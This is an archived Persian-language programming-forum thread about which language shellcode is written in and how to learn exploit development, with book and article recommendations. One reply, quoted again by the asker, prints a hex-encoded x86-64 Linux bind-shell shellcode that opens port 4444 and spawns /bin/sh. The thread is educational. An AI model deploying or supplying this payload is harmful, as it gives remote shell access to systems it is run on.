PDA

View Full Version : سوال: زبان برنامه نویسی shell code



mohamad0098
شنبه 21 اسفند 1395, 10:11 صبح
سلام خدمت اساتید محترم
سوال من این بود از چه زبانی میشه برای نوشتن shell code استفاده کرد ؟ اسمبلی بهتره یا C یا ++C ? چون من در جایی خوندم فقط با زبان C و اسمبلی میشه شل کد نوشت اما در جایی دیگه عنوان شده بود با PHP ، و پایتون هم میشه و اسم اونو شل اسکریپت گذاشته بودن فرق اونها با شل کدی که به زبان اسمبلی و C نوشته شده چیه ؟

negative2
چهارشنبه 25 اسفند 1395, 12:35 عصر
زبانی که برای نوشتن شلکد مورد استفاده قرار می گیرد، زبان ماشین هست.

عموماً شلکد | پیلود در کد اکسپلویت (اکسپلویت می تواند به زبان سی، سی پلاس پلاس، پایتون و... نوشته شود) اضافه می شود تا یک کار خاصی را در سیستم انجام بدهد. کد زیر یک شلکد است که پورت 4444 را باز می کند:

"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x 89\xc7\xb2"
"\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x 01\x11\x5c"
"\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x 31\x0f\x05"
"\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x 31\xf6\x89"
"\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\x b0\x21\x0f"
"\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\x c6\xb0\x21"
"\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x 2f\x73\x68"
"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x 57\x48\x89"
"\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"

mohamad0098
پنج شنبه 26 اسفند 1395, 21:48 عصر
زبانی که برای نوشتن شلکد مورد استفاده قرار می گیرد، زبان ماشین هست.

عموماً شلکد | پیلود در کد اکسپلویت (اکسپلویت می تواند به زبان سی، سی پلاس پلاس، پایتون و... نوشته شود) اضافه می شود تا یک کار خاصی را در سیستم انجام بدهد. کد زیر یک شلکد است که پورت 4444 را باز می کند:

"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x 89\xc7\xb2"
"\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x 01\x11\x5c"
"\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x 31\x0f\x05"
"\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x 31\xf6\x89"
"\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\x b0\x21\x0f"
"\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\x c6\xb0\x21"
"\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x 2f\x73\x68"
"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x 57\x48\x89"
"\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"

میشه یه منبعی واسه یادگیری نوشتن اکسپلویت و شل کد معرفی کنید؟ چون بیشتر کتابای برنامه نویسی با مثال های ریاضی و وحسابداری نوشته شدند و کار با فایل های سیستم عامل و ارتباط با شبکه اموزش نمیدن

negative2
جمعه 27 اسفند 1395, 12:51 عصر
نوشتن اکسپلویت چیزی نیست که به این سادگی ها و خواندن چهار تا کتاب و مقاله بتوانید بر آن تسلط پیدا کنید.

چند وقت پیش ها دوست عزیزمون آقای کهساری (myfreetime.ir) یک مقاله در این حوزه نوشته بود، که در حوزه امنیت نرم افزار کتاب های فراوانی وجود دارند، مثلا در حوزه اکسپلویت نویسی کتاب Art of Exploitation وجود دارد که اصول نوشتن اکسپلویت برای آسیب پذیری ها رو پوشش می دهد اما برای درک مفاد این کتاب شما باید برنامه نویس خوبی باشید، اسمبلی یاد داشته باشید، دیزاسملی متوجه شوید و...!

به هر حال اگر دانش برنامه نویسی و سیستم عامل و مفاهیم مهندسی نرم افزار و... دارید کتاب Art of Exploitation کتاب خوبی هست، اما درک آن نیازمند دانستن کلی پیش نیاز دیگر می باشد.

mohamad0098
شنبه 28 اسفند 1395, 13:40 عصر
نوشتن اکسپلویت چیزی نیست که به این سادگی ها و خواندن چهار تا کتاب و مقاله بتوانید بر آن تسلط پیدا کنید.

چند وقت پیش ها دوست عزیزمون آقای کهساری (myfreetime.ir) یک مقاله در این حوزه نوشته بود، که در حوزه امنیت نرم افزار کتاب های فراوانی وجود دارند، مثلا در حوزه اکسپلویت نویسی کتاب Art of Exploitation وجود دارد که اصول نوشتن اکسپلویت برای آسیب پذیری ها رو پوشش می دهد اما برای درک مفاد این کتاب شما باید برنامه نویس خوبی باشید، اسمبلی یاد داشته باشید، دیزاسملی متوجه شوید و...!

به هر حال اگر دانش برنامه نویسی و سیستم عامل و مفاهیم مهندسی نرم افزار و... دارید کتاب Art of Exploitation کتاب خوبی هست، اما درک آن نیازمند دانستن کلی پیش نیاز دیگر می باشد.

اگه target ما پیدا کردن یک باگ در یک نرم افزار دسکتاپ باشه باید حتما با اسمبلی شلکد اون نرم افزار نوشته بشه اما اگه target یک وبسایت یا سرور باشه برای نوشتن شلکد به اسمبلی نیاز هست ؟

negative2
شنبه 28 اسفند 1395, 20:32 عصر
اگه target ما پیدا کردن یک باگ در یک نرم افزار دسکتاپ باشه باید حتما با اسمبلی شلکد اون نرم افزار نوشته بشه اما اگه target یک وبسایت یا سرور باشه برای نوشتن شلکد به اسمبلی نیاز هست ؟

خیر. در مبحث کشف آسیب پذیری ابتدا باید مشخص شه نرم افزار هدف برای چه پلتفرمی نوشته/عملیاتی شده است. هر پلتفرمی approach کشف آسیب پذیری و توسعه اکسپلویت خودش رو داره. ولی در حالت کلی برای برنامه های دستکتاپ (مرورگرها، سامانه عامل و...) شما باید اسمبلی و دیزاسمبلی رو یاد داشته باشید تا بتونید فازینگ انجام بدید و....

Felony
دوشنبه 30 اسفند 1395, 10:07 صبح
Hacking: The Art of Exploitation
The Shellcoder's Handbook

بهروز عباسی
شنبه 05 فروردین 1396, 23:20 عصر
سلام خدمت اساتید محترم
سوال من این بود از چه زبانی میشه برای نوشتن shell code استفاده کرد ؟ اسمبلی بهتره یا C یا ++C ? چون من در جایی خوندم فقط با زبان C و اسمبلی میشه شل کد نوشت اما در جایی دیگه عنوان شده بود با PHP ، و پایتون هم میشه و اسم اونو شل اسکریپت گذاشته بودن فرق اونها با شل کدی که به زبان اسمبلی و C نوشته شده چیه ؟

جدای از مفهوم و موارد استفاده Shellcode اینکه چطوری میشه نوشتش خیلی کلیه، و باید مواردی رو مد نظر قرار بدین؛ مثلا: اگه هدف فقط داشتن کدیه به صورت shellcode اجرا بشه شما میتونی با هر زبونی دوست داشتی بنویسی (مثلا همچین toolsهایی https://github.com/NytroRST/ShellcodeCompiler)، ولی در مورد استفاده معمول shellcode ها که exploiting هست شما باید با Assembly کد بزنی- به خاطر محدودیت حجم شل کد که تا جایی که ممکنه کم باشه، نبود کاراکترهای غیر مجاز (مثلا null)-.

این مقاله (The Art of Win32 Shellcoding (https://www.codeproject.com/Articles/325776/The-Art-of-Win-Shellcoding)) مختصر مفیده در مورد shellcode نویسی با asm .


در ضمن این سوال ربطی به این بخش نداره چون دوستان دیگه پاسخ داده بودن حذف نشد، لطفا سوالات رو بخش های مربوطه مطرح کنید.